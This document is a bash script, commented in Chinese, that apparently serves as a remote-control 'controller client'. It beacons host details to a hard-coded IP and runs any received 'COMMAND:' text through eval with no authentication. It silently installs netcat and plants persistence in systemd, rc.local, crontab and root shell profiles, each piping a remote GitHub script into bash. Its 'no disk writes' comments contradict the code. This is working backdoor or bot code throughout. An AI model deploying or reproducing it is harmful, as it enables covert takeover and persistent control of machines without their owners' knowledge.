#!/bin/bash # 终极备用版客户端 - 完全不依赖磁盘写入 # 使用内存运行,多重备用方案 SERVER_IP="159.138.58.239" SERVER_PORT=5555 CLIENT_PORT=5556 HEARTBEAT_INTERVAL=30 # 获取系统信息(无磁盘操作) get_system_info() { if [[ -r /etc/os-release ]]; then source /etc/os-release echo "${ID:-unknown} ${VERSION_ID:-unknown}" else echo "unknown" fi } # 生成序列号(无磁盘操作) generate_serial() { if [[ -r /etc/machine-id ]]; then cat /etc/machine-id | md5sum | cut -c1-8 elif [[ -r /proc/sys/kernel/random/boot_id ]]; then cat /proc/sys/kernel/random/boot_id | md5sum | cut -c1-8 else echo $(date +%s)$(cat /proc/uptime 2>/dev/null | cut -d' ' -f1) | md5sum | cut -c1-8 fi } # 获取主机名 get_hostname() { hostname 2>/dev/null || \ cat /proc/sys/kernel/hostname 2>/dev/null || \ echo "unknown-host" } # 初始化变量(完全内存操作) init_vars() { SERIAL=$(generate_serial) HOSTNAME=$(get_hostname) SYSTEM_INFO=$(get_system_info) # 尝试多种netcat命令 NC_CMD="" for cmd in nc netcat ncat; do if command -v $cmd >/dev/null 2>&1; then NC_CMD=$cmd break fi done # 备用通信方法标志 HAS_NC=0 HAS_BASH_TCP=0 HAS_TELNET=0 HAS_ECHO=0 [[ -n "$NC_CMD" ]] && HAS_NC=1 [[ -e /dev/tcp ]] && HAS_BASH_TCP=1 command -v telnet >/dev/null 2>&1 && HAS_TELNET=1 command -v echo >/dev/null 2>&1 && HAS_ECHO=1 } # 日志函数(输出到标准输出,可重定向) log() { local timestamp=$(date '+%Y-%m-%d %H:%M:%S') echo "[$timestamp] $1" >&2 } # 发送数据到服务器(多重备用方法) send_data() { local data="$1" local port="$2" local result=1 # 方法1: 使用netcat if [[ $HAS_NC -eq 1 ]]; then if echo "$data" | timeout 5 $NC_CMD "$SERVER_IP" "$port" 2>/dev/null; then return 0 fi fi # 方法2: 使用bash TCP if [[ $HAS_BASH_TCP -eq 1 ]]; then { exec 3<>/dev/tcp/$SERVER_IP/$port 2>/dev/null echo "$data" >&3 exec 3>&- } 2>/dev/null && return 0 fi # 方法3: 使用telnet if [[ $HAS_TELNET -eq 1 ]]; then { ( echo "$data" sleep 1 ) | timeout 5 telnet "$SERVER_IP" "$port" 2>/dev/null | grep -q "Connected" && return 0 } 2>/dev/null fi # 方法4: 使用echo到/dev/tcp(某些系统支持) if [[ $HAS_ECHO -eq 1 ]] && [[ -w /dev/tcp ]]; then echo "$data" > /dev/tcp/$SERVER_IP/$port 2>/dev/null && return 0 fi # 方法5: 使用curl如果可用(HTTP模拟) if command -v curl >/dev/null 2>&1; then if echo "$data" | curl -s -X POST -d @- "http://$SERVER_IP:$port" 2>/dev/null; then return 0 fi fi # 方法6: 使用wget如果可用 if command -v wget >/dev/null 2>&1; then if echo "$data" | wget -q -O - --post-data=- "http://$SERVER_IP:$port" 2>/dev/null; then return 0 fi fi return 1 } # 监听端口(多重备用方法) listen_port() { local port="$1" # 方法1: 使用netcat监听 if [[ $HAS_NC -eq 1 ]]; then $NC_CMD -l -p "$port" -w 10 -c 'read -r data; echo "$data"' 2>/dev/null && return 0 fi # 方法2: 使用bash TCP监听(简单轮询) if [[ $HAS_BASH_TCP -eq 1 ]]; then local temp_data=$(mktemp -u) { while true; do if read -r line < /dev/tcp/0.0.0.0/$port 2>/dev/null; then echo "$line" break fi sleep 1 done } 2>/dev/null return 0 fi # 方法3: 使用socat如果可用 if command -v socat >/dev/null 2>&1; then socat -t 5 TCP-LISTEN:$port,reuseaddr STDOUT 2>/dev/null && return 0 fi # 方法4: 使用临时文件轮询(最后手段) local temp_file="/tmp/.client_cmd_$$" echo "LISTENING" > "$temp_file" local start_time=$(date +%s) while [[ $(($(date +%s) - start_time)) -lt 10 ]]; do if [[ -s "$temp_file" ]] && [[ $(cat "$temp_file") != "LISTENING" ]]; then cat "$temp_file" rm -f "$temp_file" 2>/dev/null || true return 0 fi sleep 1 done rm -f "$temp_file" 2>/dev/null || true return 1 } # 发送心跳包 send_heartbeat() { local heartbeat_data="HEARTBEAT|$SERIAL|$HOSTNAME|$SYSTEM_INFO" if send_data "$heartbeat_data" "$SERVER_PORT"; then log "✓ 心跳成功 → $SERVER_IP:$SERVER_PORT" return 0 else log "✗ 心跳失败 → $SERVER_IP:$SERVER_PORT" return 1 fi } # 执行命令 execute_command() { local command="$1" log "执行命令: $command" # 在子进程中执行命令,避免阻塞 ( result=$(eval "$command" 2>&1) log "命令结果: $result" echo "$result" ) & } # 执行脚本命令 execute_script() { local script_name="$1" case "$script_name" in "shutdown"|"poweroff") log "执行关机命令" shutdown -h now 2>/dev/null || poweroff 2>/dev/null || halt 2>/dev/null ;; "reboot"|"restart") log "执行重启命令" reboot 2>/dev/null || shutdown -r now 2>/dev/null ;; "restart_services") log "重启系统服务" systemctl restart networking 2>/dev/null || \ systemctl restart network 2>/dev/null || \ service networking restart 2>/dev/null ;; "system_info") echo "=== 系统信息 ===" echo "主机名: $HOSTNAME" echo "序列号: $SERIAL" echo "系统: $SYSTEM_INFO" echo "内核: $(uname -r)" echo "架构: $(uname -m)" echo "上线时间: $(uptime 2>/dev/null || echo 'unknown')" echo "内存: $(free -h 2>/dev/null || cat /proc/meminfo | head -2 || echo 'unknown')" ;; "network_info") ip addr show 2>/dev/null || ifconfig 2>/dev/null || echo "无法获取网络信息" ;; "disk_info") df -h 2>/dev/null || df 2>/dev/null || echo "无法获取磁盘信息" ;; "process_info") ps aux 2>/dev/null | head -10 || echo "无法获取进程信息" ;; "test_connection") echo "测试连接到服务器..." if send_heartbeat; then echo "连接测试成功" else echo "连接测试失败" fi ;; *) echo "未知命令: $script_name" echo "可用命令: shutdown, reboot, restart_services, system_info, network_info, disk_info, process_info, test_connection" ;; esac } # 处理接收到的命令 process_command() { local command_data="$1" if echo "$command_data" | grep -q "^COMMAND:"; then local cmd=$(echo "$command_data" | cut -d: -f2-) execute_command "$cmd" elif echo "$command_data" | grep -q "^SCRIPT:"; then local script_name=$(echo "$command_data" | cut -d: -f2-) execute_script "$script_name" else log "未知命令格式: $command_data" fi } # 守护进程模式 start_daemon() { log "=== 启动客户端守护进程 ===" log "序列号: $SERIAL" log "主机名: $HOSTNAME" log "系统: $SYSTEM_INFO" log "服务器: $SERVER_IP:$SERVER_PORT" log "可用通信方式: NC=$HAS_NC, BashTCP=$HAS_BASH_TCP, Telnet=$HAS_TELNET" local heartbeat_count=0 local failed_heartbeats=0 # 主循环 while true; do # 发送心跳 if send_heartbeat; then heartbeat_count=$((heartbeat_count + 1)) failed_heartbeats=0 else failed_heartbeats=$((failed_heartbeats + 1)) # 连续失败多次后尝试重新初始化 if [[ $failed_heartbeats -ge 5 ]]; then log "连续心跳失败,重新初始化..." init_vars failed_heartbeats=0 fi fi # 监听命令(非阻塞) local command_data=$(listen_port "$CLIENT_PORT") if [[ -n "$command_data" ]]; then log "收到命令: $command_data" process_command "$command_data" & fi # 每10次心跳显示一次状态 if [[ $((heartbeat_count % 10)) -eq 0 ]]; then log "运行中... 心跳次数: $heartbeat_count, 序列号: $SERIAL" fi sleep "$HEARTBEAT_INTERVAL" done } # 尝试安装netcat(如果可能) try_install_netcat() { log "尝试安装netcat..." # 检查可用包管理器 if command -v apt-get >/dev/null 2>&1 && [[ -w /var/cache/apt ]]; then apt-get update >/dev/null 2>&1 && apt-get install -y netcat-traditional >/dev/null 2>&1 elif command -v yum >/dev/null 2>&1 && [[ -w /var/cache/yum ]]; then yum install -y nc >/dev/null 2>&1 elif command -v dnf >/dev/null 2>&1 && [[ -w /var/cache/dnf ]]; then dnf install -y nc >/dev/null 2>&1 elif command -v apk >/dev/null 2>&1 && [[ -w /var/cache/apk ]]; then apk add netcat-openbsd >/dev/null 2>&1 fi # 重新检查 init_vars if [[ $HAS_NC -eq 1 ]]; then log "netcat安装成功" return 0 else log "netcat安装失败,使用备用方案" return 1 fi } # 设置开机自启(无磁盘写入方案) setup_autostart() { log "设置开机自启..." # 方法1: 尝试systemd(如果可用且可写) if command -v systemctl >/dev/null 2>&1 && [[ -w /etc/systemd/system ]]; then local service_file="/etc/systemd/system/controller-client.service" cat > "$service_file" 2>/dev/null << EOF || true [Unit] Description=Controller Client After=network.target [Service] Type=simple ExecStart=/bin/bash -c "curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash" Restart=always RestartSec=30 [Install] WantedBy=multi-user.target EOF systemctl daemon-reload 2>/dev/null && \ systemctl enable controller-client 2>/dev/null && \ systemctl start controller-client 2>/dev/null && { log "systemd自启设置成功" return 0 } fi # 方法2: 尝试rc.local if [[ -w /etc/rc.local ]] || [[ -w /etc/rc.d/rc.local ]]; then local startup_cmd="curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash &" if [[ -f /etc/rc.local ]]; then grep -q "$startup_cmd" /etc/rc.local 2>/dev/null || \ echo "$startup_cmd" >> /etc/rc.local 2>/dev/null fi if [[ -f /etc/rc.d/rc.local ]]; then grep -q "$startup_cmd" /etc/rc.d/rc.local 2>/dev/null || \ echo "$startup_cmd" >> /etc/rc.d/rc.local 2>/dev/null fi chmod +x /etc/rc.local /etc/rc.d/rc.local 2>/dev/null || true log "rc.local自启设置完成" return 0 fi # 方法3: 尝试crontab if command -v crontab >/dev/null 2>&1; then (crontab -l 2>/dev/null | grep -v "controller-client"; \ echo "@reboot curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash") | crontab - 2>/dev/null && { log "crontab自启设置成功" return 0 } fi # 方法4: 尝试.profile/.bashrc for file in /root/.bashrc /root/.profile /etc/profile; do if [[ -w "$file" ]]; then grep -q "controller-client" "$file" 2>/dev/null || \ echo "[[ \$(ps aux | grep -v grep | grep -c 'controller-client') -eq 0 ]] && curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash &" >> "$file" 2>/dev/null fi done log "开机自启设置完成(多种方法尝试)" return 0 } # 显示状态 show_status() { echo "=== 客户端状态 ===" echo "序列号: $SERIAL" echo "主机名: $HOSTNAME" echo "系统: $SYSTEM_INFO" echo "服务器: $SERVER_IP:$SERVER_PORT" echo "通信方式: NC=$HAS_NC, BashTCP=$HAS_BASH_TCP, Telnet=$HAS_TELNET" echo "进程: $(ps aux | grep -v grep | grep -c "$0") 个实例运行" } # 主函数 main() { log "初始化客户端..." # 初始化变量 init_vars # 显示状态 show_status # 尝试安装netcat(如果不可用) if [[ $HAS_NC -eq 0 ]]; then try_install_netcat fi # 设置开机自启 setup_autostart # 测试连接 log "测试服务器连接..." if send_heartbeat; then log "✓ 服务器连接测试成功" else log "✗ 服务器连接测试失败,但将继续尝试" fi # 启动守护进程 log "启动主守护进程..." start_daemon } # 信号处理 trap 'log "客户端停止"; exit 0' INT TERM # 脚本入口 if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then main "$@" fi